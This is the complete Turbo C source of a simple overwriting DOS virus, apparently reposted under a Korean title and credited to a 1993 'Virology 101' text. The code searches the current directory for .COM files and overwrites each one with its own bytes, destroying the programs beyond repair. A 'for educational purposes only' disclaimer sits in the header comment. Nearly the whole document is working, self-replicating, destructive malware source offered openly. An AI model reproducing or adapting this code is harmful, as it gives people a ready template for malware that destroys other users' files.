c 언어 바이러스 파일

/* This is a simple overwriting virus programmed in Turbo C */

/*  It will infect all .COM files in the current directory  */

/*    Infections destroy the programs and cannot be cured   */

/*   It was presented in Virology 101 (c) 1993 Black Wolf   */

/*     FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE!       */



#include <stdio.h>

#include <dos.h>

#include <dir.h>



FILE *Virus,*Host;

int x,y,done;

char buff[256];

struct ffblk ffblk;



main()

{

    done = findfirst("*.COM",&ffblk,0);   /* Find a .COM file */

    while (!done)               /* Loop for all COM's in DIR*/

    {

        printf("Infecting  %s
", ffblk.ff_name);    /* Inform user */

        Virus=fopen(_argv[0],"rb");          /* Open infected file  */

        Host=fopen(ffblk.ff_name,"rb+");     /* Open new host file  */

        

        x=9504;                               /* Virus size - must   */

        /* be correct for the  */

        /* compiler it is made */

        /* on, otherwise the   */

        /* entire virus may not*/

        /* be copied!!         */

        while (x>256)                         /* OVERWRITE new Host  */

        {                                 /* Read/Write 256 byte */

            fread(buff,256,1,Virus);          /* chunks until bytes  */

            fwrite(buff,256,1,Host);          /* left < 256          */

            x-=256;

        }

        fread(buff,x,1,Virus);                /* Finish off copy     */

        fwrite(buff,x,1,Host);

        fcloseall();                          /* Close both files and*/

        done = findnext(&ffblk);              /* go for another one. */

    }

    /* Activation would go */

    /* here                */

    return (0);                             /* Terminate           */

}